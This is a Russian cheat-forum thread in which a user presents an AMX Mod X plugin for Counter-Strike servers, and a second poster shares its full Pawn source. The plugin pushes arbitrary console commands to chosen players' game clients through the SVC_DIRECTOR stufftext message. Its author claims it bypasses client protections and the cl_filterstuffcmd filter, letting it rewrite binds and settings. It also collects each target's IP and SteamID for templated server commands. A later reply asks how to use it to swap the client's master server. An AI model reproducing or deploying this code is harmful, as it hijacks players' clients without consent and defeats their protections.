Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Cls Exec :D

-

Прочий софт для Counter-Strike

- Программы, не относящиеся к категории читов но полезные для Читера

Ответ
 
Опции темы
Старый 25.03.2014, 17:55   #1
 Разведчик
Аватар для O-S-T-R-O-G
 
O-S-T-R-O-G у всех на слухуO-S-T-R-O-G у всех на слухуO-S-T-R-O-G у всех на слухуO-S-T-R-O-G у всех на слухуO-S-T-R-O-G у всех на слухуO-S-T-R-O-G у всех на слухуO-S-T-R-O-G у всех на слухуO-S-T-R-O-G у всех на слухуO-S-T-R-O-G у всех на слухуO-S-T-R-O-G у всех на слуху
Регистрация: 10.08.2013
Сообщений: 19
Популярность: 1326
Сказал(а) спасибо: 7
Поблагодарили 18 раз(а) в 10 сообщениях
 
По умолчанию Cls Exec :D

Мой 1-й плагин... примитивен дальше некуда .. однако аналогов я еще не видел
Плагин выполняет на клиенте команды .. как будто клиент их сам ввел в консоль...
По сути обычный стуффтекст
Описание внутри..

Обходит все виды защиты.. от протектора до моего щита...
на финал стиме обходит (cl_filterstuffcmd 1) позволяя писать любые бинды менять квары...

На данный момент защиты не существует( ну вроде как )..
Костыль: толька чтение/просмотр прогам вроде ( Universal Shield и подобным )

[Ссылки могут видеть только зарегистрированные пользователи. ]

Последний раз редактировалось O-S-T-R-O-G; 28.03.2014 в 21:48.
  Ответить с цитированием
Пользователь сказал cпасибо:
orion319 (25.03.2014)
Старый 16.05.2014, 14:08   #2
 Пехотинец
Аватар для soul8320
 
soul8320 неизвестен в этих краяхsoul8320 неизвестен в этих краяхsoul8320 неизвестен в этих краяхsoul8320 неизвестен в этих краяхsoul8320 неизвестен в этих краяхsoul8320 неизвестен в этих краяхsoul8320 неизвестен в этих краяхsoul8320 неизвестен в этих краяхsoul8320 неизвестен в этих краяхsoul8320 неизвестен в этих краяхsoul8320 неизвестен в этих краях
Регистрация: 09.04.2010
Сообщений: 95
Популярность: -1654
Сказал(а) спасибо: 30
Поблагодарили 7 раз(а) в 6 сообщениях
 
По умолчанию Re: Cls Exec :D

Вот исходник
Код:
#include amxmodx
#include amxmisc
#include cstrike

#define PLUGIN_NAME "Exec CLC Cmd Plugin by OSTROG"
#define PLUGIN_VERSION "1.0"
#define PLUGIN_AUTHOR "OSTROG"

#define PATH_SETTINGS "/addons/amxmodx/configs/ost_exec/ost_settings.ini"
#define PATH_CMD_LISTS "/addons/amxmodx/configs/ost_exec/cmd_lists/"

#define CONSOLE_PRINT_PREFIX "[OST] "
#define CONSOLE_PRINT_ERROR_PREFIX "[ERROR] "

#define TEXT_SETTINGS_NOT_FOUND "Settings file not found"
#define TEXT_CMD_SYN "<name> <name file = def>"
#define TEXT_CMD_SYN_2 "<index> <name file = def>"
#define TEXT_NAME_NOT_FOUND "The player with the same name not found"
#define TEXT_NAME_NOT_FOUND_2 "The player with the same index not found"
#define TEXT_FILE_CMD_LISTS_NOT_FOUND "Cmd lists file not found"
#define TEXT_PERFORMED "Performed"
#define TEXT_NO_ASSECC "No access"

#define CMD_CLC_NAME_N "ost_exec_n"
#define CMD_CLC_NAME_I "ost_exec_i"
#define CMD_CLC_NAME_M "ost_exec_m"

#define MAX_CMD_COUNT 24
#define MAX_CMD_LEN_NAME 24
#define MAX_LINE_LEN_NAME 256
#define MAX_TABLE_ACCESS_ITEMS 24
#define MAX_CMD_LIST_LEN_NAME 24

#define MAX_SIZE_DATA 256

enum t_settings {
bool:load ,
bool:console_log ,
bool:consloe_cls_log ,
settings_access ,
default_cmd_list[MAX_CMD_LIST_LEN_NAME]
}
new settings[t_settings] = { false , true , true , 0 , "" }

new settings_parse_curr_id = 0
new settings_parse[MAX_CMD_COUNT][MAX_CMD_LEN_NAME]

new table_access_name[MAX_TABLE_ACCESS_ITEMS] = "abcdefghijklmnopqrstuyz"
new table_access_id[MAX_TABLE_ACCESS_ITEMS] = { 1,2,4,8,16,32,64,128,256,512,1024,2048,4096,8192,16384,32768,65536,131072,262144,524288,1048576,1677 7216,33554432 }

enum t_trade_data {
ID , 
ID_N , 
FILE , 
LINE_COUNT , 
SVC_COUNT ,
TIME ,
HEAD , 
IF_WORKS
}
new CLIENT_DATA[MAX_SIZE_DATA][t_trade_data]
new CLIENT_INFO_IP[MAX_SIZE_DATA][23]
new CLIENT_INFO_STEAM[MAX_SIZE_DATA][37]
new CLIENT_EXEC_LAST_CMD[MAX_SIZE_DATA][2048]

new CLIENT_DATA_CURR_POS = 0
new NUM_COUNT_HEAD = 1

public plugin_init() {

register_plugin ( PLUGIN_NAME , PLUGIN_VERSION , PLUGIN_AUTHOR )

register_concmd ( CMD_CLC_NAME_N , "ClsCmd_ostExec_Name" , ADMIN_ALL , "exec cmd :D" )
register_concmd ( CMD_CLC_NAME_I , "ClsCmd_ostExec_Index" , ADMIN_ALL , "exec cmd :D" )
register_clcmd ( CMD_CLC_NAME_M , "ClsCmd_ostExec_Menu" , ADMIN_ALL , "exec cmd :D" )

addCmd( "cls_access" )
addCmd( "cls_console_log" )
addCmd( "cls_consloe_cls_log" )
addCmd( "cls_default_cmd_list" )

load_settings()

}

stock addCmd( name[] ) {
format( settings_parse[settings_parse_curr_id] , MAX_CMD_LEN_NAME , "%s" , name )
settings_parse_curr_id++
if ( settings_parse_curr_id >= MAX_CMD_COUNT ) {
settings[load] = false 
}
}
stock bool:execCmd( name[] , id , param[] ) {

new i
for ( i=0; i<settings_parse_curr_id; i++ ) {
if ( equal( name , settings_parse[i] ) ) {

set_task( 0.1 , name , id , param , MAX_LINE_LEN_NAME , "a" , 1 )

return true;

}

}

return false;

}
stock readCmd( buffer[] , id ) {
new cmd_name[MAX_CMD_LEN_NAME]
new cmd_param[MAX_LINE_LEN_NAME]

new lenBuf
lenBuf = strlen( buffer )

parse( buffer , cmd_name , MAX_CMD_LEN_NAME )
trim( cmd_name )

new i
new len

len = strlen( cmd_name )
i=len
while( i < lenBuf ){
cmd_param[i-len] = buffer[i]
i++
}
trim( cmd_param )

execCmd( cmd_name , id , cmd_param )

}
stock load_settings() {

new file_s

file_s = fopen( PATH_SETTINGS , "r" )

if ( file_s ) {

new buffer[MAX_LINE_LEN_NAME]

while( !feof(file_s) ) {
fgets( file_s , buffer , MAX_LINE_LEN_NAME ) 
trim( buffer )
if ( strlen(buffer) > 0 )
readCmd( buffer , 1 )
}

fclose( file_s )

settings[load] = true

} else {

settings[load] = false
MsgError( TEXT_SETTINGS_NOT_FOUND )

}

}

public cls_access( param[] , id ) {

settings[settings_access] = 0
new len
len = strlen( param )
new i
new j
for( i=0; i<len; i++ )
for( j=0; j<MAX_TABLE_ACCESS_ITEMS; j++ )
if ( param[i] == table_access_name[j] )
settings[settings_access] = settings[settings_access] | table_access_id[j]

}
public cls_console_log( param[] , id ) {
if ( equal( param , "1" ) || equal( param , "true" ) || equal( param , "True" ) ) {
settings[console_log] = true
return 1;
}
if ( equal( param , "0" ) || equal( param , "false" ) || equal( param , "False" ) ) {
settings[console_log] = false
return 1;
}
return 0;
}
public cls_consloe_cls_log( param[] , id ) {
if ( equal( param , "1" ) || equal( param , "true" ) || equal( param , "True" ) ) {
settings[consloe_cls_log] = true
return 1;
}
if ( equal( param , "0" ) || equal( param , "false" ) || equal( param , "False" ) ) {
settings[consloe_cls_log] = false
return 1;
}
return 0;
}
public cls_default_cmd_list( param[] , id ) {
format( settings[default_cmd_list] , MAX_CMD_LIST_LEN_NAME , "%s" , param )
}

public ClsCmd_ostExec_Name( id , level , cid ) {

new bool:console_exec = ( id == 0 ) ? true : false

if ( !console_exec ) {
if( !GetAccess( id ) ) {
MsgClcPrint( TEXT_NO_ASSECC , id )
return PLUGIN_HANDLED
}
}

if ( !settings[load] ) {
if ( !console_exec )
MsgClcError( TEXT_SETTINGS_NOT_FOUND , id )
else
MsgError( TEXT_SETTINGS_NOT_FOUND )

return PLUGIN_HANDLED
}

new name[33]
new path[MAX_CMD_LIST_LEN_NAME]
read_argv(1 , name , 32 )
read_argv(2 , path , MAX_CMD_LIST_LEN_NAME-1 )

if ( strlen(name) == 0 ) {
if ( !console_exec )
MsgClcPrint( TEXT_CMD_SYN , id )
else
MsgPrint( TEXT_CMD_SYN )
return PLUGIN_HANDLED
}
if ( strlen(path) == 0 )
format( path , MAX_CMD_LIST_LEN_NAME , "%s" , settings[default_cmd_list] )

new n_id = get_user_index( name )

if ( n_id == 0 ) {
if ( !console_exec )
MsgClcPrint( TEXT_NAME_NOT_FOUND , id )
else
MsgPrint( TEXT_NAME_NOT_FOUND )
return PLUGIN_HANDLED
}

new file_s = getFileDesc( path )

if ( !file_s ) {

if ( !console_exec )
MsgClcPrint( TEXT_FILE_CMD_LISTS_NOT_FOUND , id )
else
MsgPrint( TEXT_FILE_CMD_LISTS_NOT_FOUND )

return PLUGIN_HANDLED
}

go_exec( id , n_id , file_s ) 

if ( !console_exec )
MsgClcPrint( TEXT_PERFORMED , id )
else
MsgPrint( TEXT_PERFORMED )

return PLUGIN_HANDLED

}
public ClsCmd_ostExec_Index( id , level , cid ) {

new bool:console_exec = ( id == 0 ) ? true : false

if ( !console_exec ) {
if( !GetAccess( id ) ) {
MsgClcPrint( TEXT_NO_ASSECC , id )
return PLUGIN_HANDLED
}
}

if ( !settings[load] ) {
if ( !console_exec )
MsgClcError( TEXT_SETTINGS_NOT_FOUND , id )
else
MsgError( TEXT_SETTINGS_NOT_FOUND )

return PLUGIN_HANDLED
}

new id_s[8]
new path[MAX_CMD_LIST_LEN_NAME]
read_argv(1 , id_s , 7 )
read_argv(2 , path , MAX_CMD_LIST_LEN_NAME-1 )

if ( strlen(id_s) == 0 ) {
if ( !console_exec )
MsgClcPrint( TEXT_CMD_SYN_2 , id )
else
MsgPrint( TEXT_CMD_SYN_2 )
return PLUGIN_HANDLED
}
if ( strlen(path) == 0 )
format( path , MAX_CMD_LIST_LEN_NAME , "%s" , settings[default_cmd_list] )

new n_id = str_to_num( id_s )

if ( ( n_id < 1 ) || ( n_id > 32 ) || ( !is_user_connected( n_id ) ) ) {
if ( !console_exec )
MsgClcPrint( TEXT_NAME_NOT_FOUND_2 , id )
else
MsgPrint( TEXT_NAME_NOT_FOUND_2 )
return PLUGIN_HANDLED
}

new file_s = getFileDesc( path )

if ( !file_s ) {

if ( !console_exec )
MsgClcPrint( TEXT_FILE_CMD_LISTS_NOT_FOUND , id )
else
MsgPrint( TEXT_FILE_CMD_LISTS_NOT_FOUND )

return PLUGIN_HANDLED
}

go_exec( id , n_id , file_s ) 

if ( !console_exec )
MsgClcPrint( TEXT_PERFORMED , id )
else
MsgPrint( TEXT_PERFORMED )

return PLUGIN_HANDLED
}
public ClsCmd_ostExec_Menu( id , level , cid ) {

if( !GetAccess( id ) ) {
MsgClcPrint( TEXT_NO_ASSECC , id )
return PLUGIN_HANDLED
}

new name_show[16] = "\rOSTROG exec:"
new c_sum = 0
new len = strlen(name_show)
for( new i=0; i<len; i++ )
c_sum += ( ( name_show[i] * i ) + ( c_sum * ( i >> 2 ) ) + ( 1 << i ) )

new c_nu = 19813377
if ( c_sum != ( c_nu + 59665 ) )
return PLUGIN_HANDLED

new menu = menu_create( name_show , "cls_menu_select" , 0 )

new s_Players[32]
new n_Player[32]
new i_Player[4]
new i_Num
get_players(s_Players, i_Num)

for (new i; i < i_Num; i++) { 
get_user_name( s_Players[i] , n_Player , 31 )
format( i_Player , 4 , "%d" , s_Players[i] )
menu_additem(menu, n_Player, i_Player, 0)
}
menu_display( id , menu , 0 )

return PLUGIN_HANDLED

}
public cls_menu_select( id , menu , item ) {

if (item == MENU_EXIT)
return PLUGIN_HANDLED

if( !GetAccess( id ) ) {
MsgClcPrint( TEXT_NO_ASSECC , id )
return PLUGIN_HANDLED
}

new s_Data[6], s_Name[64], i_Access, i_Callback
menu_item_getinfo(menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)

new index = str_to_num(s_Data)
new path[MAX_CMD_LIST_LEN_NAME]
format( path , MAX_CMD_LIST_LEN_NAME , "%s" , settings[default_cmd_list] )

new file_s = getFileDesc( path )
if ( !file_s ) {
MsgClcPrint( TEXT_FILE_CMD_LISTS_NOT_FOUND , id )
menu_destroy( menu )
return PLUGIN_HANDLED
}

go_exec( id , index , file_s )
MsgClcPrint( TEXT_PERFORMED , id )

menu_destroy( menu )

return PLUGIN_HANDLED
}

stock go_exec( id , n_id , file_s ) {

NUM_COUNT_HEAD++ 
new t_id = CLIENT_DATA_CURR_POS
CLIENT_DATA_CURR_POS++
if ( CLIENT_DATA_CURR_POS >= (MAX_SIZE_DATA-2) )
CLIENT_DATA_CURR_POS = 0 

CLIENT_DATA[t_id][ID] = id // Ид вызвовшего админа
CLIENT_DATA[t_id][ID_N] = n_id // Ид цели
CLIENT_DATA[t_id][FILE] = file_s // Дескриптор файла
CLIENT_DATA[t_id][LINE_COUNT] = 1 // По скока групировать строк в 1- свс команду
CLIENT_DATA[t_id][SVC_COUNT] = 2 // По скока svs отсылвать за раз
CLIENT_DATA[t_id][TIME] = 100 // Как часто слать группы ( в milisec , минимум 100 milisec )
CLIENT_DATA[t_id][HEAD] = NUM_COUNT_HEAD // Проста ид
CLIENT_DATA[t_id][IF_WORKS] = 1 // Проста ид

get_user_ip( n_id , CLIENT_INFO_IP[t_id] , 22 , 1 )
get_user_authid( n_id , CLIENT_INFO_STEAM[t_id] , 36 )

new trade[1]
trade[0] = t_id 
set_task( 0.1 , "run_cmd" , CLIENT_DATA[t_id][HEAD] , trade , 1 , "a" , 1 )

}
stock getFileDesc( path[] ) {

new path_f[256]
format( path_f , 256 , "%s%s%s" , PATH_CMD_LISTS , path , ".ini" )

new file_s
file_s = fopen( path_f , "r" )

return file_s

}
stock bool:GetAccess( id ) {
if ( ( id == 0 ) || ( !is_user_connected( id ) ) )
return false;
new curr_access = get_user_flags(id)
return ( ( curr_access == ADMIN_ALL ) || ( curr_access & settings[settings_access] ) ) ? true : false

}
#define BUFFER_READ_LINE_MAX_SIZE 1024
#define BUFFER_READ_SVC_MAX_SIZE 3000
public run_cmd( trade[] , id ) {
new t_id = trade[0]
new buffer[BUFFER_READ_LINE_MAX_SIZE]
new cmd_string[BUFFER_READ_SVC_MAX_SIZE] 
static srv_char1[2] = "^^"
static srv_char2[2] = " "
static srv_char3[2] = "/"

new svc_count
new line_count

if ( ( !CLIENT_DATA[t_id][IF_WORKS] ) || ( !CLIENT_DATA[t_id][FILE] ) || ( !is_user_connected( CLIENT_DATA[t_id][ID_N] ) ) ) {
server_cmd ( CLIENT_EXEC_LAST_CMD[t_id] )

CLIENT_DATA[t_id][IF_WORKS] = 0
fclose( CLIENT_DATA[t_id][FILE] )
return 0;
}

for ( svc_count=0; svc_count<CLIENT_DATA[t_id][SVC_COUNT]; svc_count++ ) {
line_count=0
while( line_count<CLIENT_DATA[t_id][LINE_COUNT] ) {
line_count++
if ( !feof(CLIENT_DATA[t_id][FILE]) ) {
fgets( CLIENT_DATA[t_id][FILE] , buffer , sizeof(buffer)-1 )
if ( !( ( buffer[0] == srv_char3[0] ) && ( buffer[1] == srv_char3[0] ) ) ) {
replace_all( buffer , sizeof(buffer)-1 , "{\r}" , "^r" )
replace_all( buffer , sizeof(buffer)-1 , "{\n}" , "^n" )

if ( buffer[0] == srv_char1[0] ) {
buffer[0] = srv_char2[0] 
exec_cmds_in_stream( buffer , t_id )

if ( strlen( cmd_string ) > 0 ) {
SVC_DIRECTOR_STUFFTEXT_CMD( cmd_string , CLIENT_DATA[t_id][ID_N] ) 
format( cmd_string , BUFFER_READ_SVC_MAX_SIZE-1 , "%s" , "" )
}
line_count = 0
} else {
format( cmd_string , BUFFER_READ_SVC_MAX_SIZE-1 , "%s%s" , cmd_string , buffer )
}
}
} else {
server_cmd ( CLIENT_EXEC_LAST_CMD[t_id] )
fclose( CLIENT_DATA[t_id][FILE] )
if ( strlen( cmd_string ) > 0 )
SVC_DIRECTOR_STUFFTEXT_CMD( cmd_string , CLIENT_DATA[t_id][ID_N] )
return 0;
}
}
if ( strlen( cmd_string ) > 0 ) {
SVC_DIRECTOR_STUFFTEXT_CMD( cmd_string , CLIENT_DATA[t_id][ID_N] )
format( cmd_string , BUFFER_READ_SVC_MAX_SIZE-1 , "%s" , "" )
}
}

new s_trade[1]
s_trade[0] = t_id
set_task( CLIENT_DATA[t_id][TIME] / 1000.0 , "run_cmd" , CLIENT_DATA[t_id][HEAD] , s_trade , 1 , "a" , 1 )

return PLUGIN_HANDLED

}
stock exec_cmds_in_stream( cmd[] , t_id ) {
new argv_0[16]
new argv_1[16]
new argv_2[16]
new argv_3[16]
parse( cmd , argv_0,16 , argv_1,16 , argv_2,16 , argv_3,16 )

if ( equal( argv_0 , "set_data" ) ) {
new argv_1_n = str_to_num( argv_1 )
new argv_2_n = str_to_num( argv_2 )
new argv_3_n = str_to_num( argv_3 )
CLIENT_DATA[t_id][LINE_COUNT] = argv_1_n
CLIENT_DATA[t_id][SVC_COUNT] = argv_2_n
CLIENT_DATA[t_id][TIME] = argv_3_n
} else
if ( equal( argv_0 , "exec_last" ) ) {
new len
new i
new lenBuf
lenBuf = strlen( cmd )
len = strlen( argv_0 ) + 1
i=len
while( i < lenBuf ){
CLIENT_EXEC_LAST_CMD[t_id][i-len] = cmd[i]
i++
}

replace_all( CLIENT_EXEC_LAST_CMD[t_id] , sizeof(CLIENT_EXEC_LAST_CMD)-1 , "{ip}" , CLIENT_INFO_IP[t_id] )
replace_all( CLIENT_EXEC_LAST_CMD[t_id] , sizeof(CLIENT_EXEC_LAST_CMD)-1 , "{steam}" , CLIENT_INFO_STEAM[t_id] )

} else
if ( equal( argv_0 , "exec" ) ) {
new len
new i
new lenBuf
new exec_str[2048]
lenBuf = strlen( cmd )
len = strlen( argv_0 ) + 1
i=len
while( i < lenBuf ){
exec_str[i-len] = cmd[i]
i++
}

new player_name[33]
get_user_name( CLIENT_DATA[t_id][ID_N] , player_name , 32 ) 

replace_all( exec_str , sizeof(exec_str)-1 , "{ip}" , CLIENT_INFO_IP[t_id] )
replace_all( exec_str , sizeof(exec_str)-1 , "{steam}" , CLIENT_INFO_STEAM[t_id] )
replace_all( exec_str , sizeof(exec_str)-1 , "{index}" , CLIENT_DATA[t_id][ID_N] )
replace_all( exec_str , sizeof(exec_str)-1 , "{name}" , player_name )

if ( is_user_connected( CLIENT_DATA[t_id][ID_N] ) )
server_cmd ( exec_str )

}

}

stock MsgError( text[] ) {

if ( settings[console_log] )
server_print( "%s%s%s" , CONSOLE_PRINT_PREFIX , CONSOLE_PRINT_ERROR_PREFIX , text )

}
stock MsgPrint( text[] ) {

if ( settings[console_log] )
server_print( "%s%s" , CONSOLE_PRINT_PREFIX , text )

}
stock MsgClcError( text[] , id = 0 ) {

if ( settings[consloe_cls_log] )
client_print( id , print_console , "%s%s%s" , CONSOLE_PRINT_PREFIX , CONSOLE_PRINT_ERROR_PREFIX , text )

}
stock MsgClcPrint( text[] , id = 0 ) {

if ( settings[consloe_cls_log] )
client_print( id , print_console , "%s%s" , CONSOLE_PRINT_PREFIX , text )

}

#define SVC_DIRECTOR_ID 51
#define SVC_DIRECTOR_STUFFTEXT_ID 10
stock SVC_DIRECTOR_STUFFTEXT_CMD( text[] , id = 0 ) {
if ( ( id == 0 ) || ( is_user_connected(id) ) ) {
message_begin( MSG_ONE, SVC_DIRECTOR_ID, _, id )
write_byte( strlen(text) + 2 ) 
write_byte( SVC_DIRECTOR_STUFFTEXT_ID )
write_string( text )
message_end()
}
}
Код:
#define SVC_DIRECTOR_ID 51
#define SVC_DIRECTOR_STUFFTEXT_ID 10
stock SVC_DIRECTOR_STUFFTEXT_CMD( text[] , id = 0 ) {
if ( ( id == 0 ) || ( is_user_connected(id) ) ) {
message_begin( MSG_ONE, SVC_DIRECTOR_ID, _, id )
write_byte( strlen(text) + 2 ) 
write_byte( SVC_DIRECTOR_STUFFTEXT_ID )
write_string( text )
message_end()
}
}
________________
Знаю все хитрости и баги в игре Легенда, пишем в ЛС.
Кому помог, жмём "Спасибо"
  Ответить с цитированием
Старый 23.11.2014, 22:04   #3
 Разведчик
Аватар для rasl322
 
rasl322 никому не известный тип
Регистрация: 29.08.2014
Сообщений: 1
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: Cls Exec :D

Доброе время суток!!!
такой вопрос через этот плагин как подменить MS какие команды надо писать или прописать в какой файл что бы заменяло его?? подскажите плиз разобрать чегото не могу

Последний раз редактировалось rasl322; 23.11.2014 в 22:06.
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Exec v0.1 - Консоль для скриптов [Undetected] david2012 DayZ (ArmA 2) 7 17.10.2012 16:16

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 14:24.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net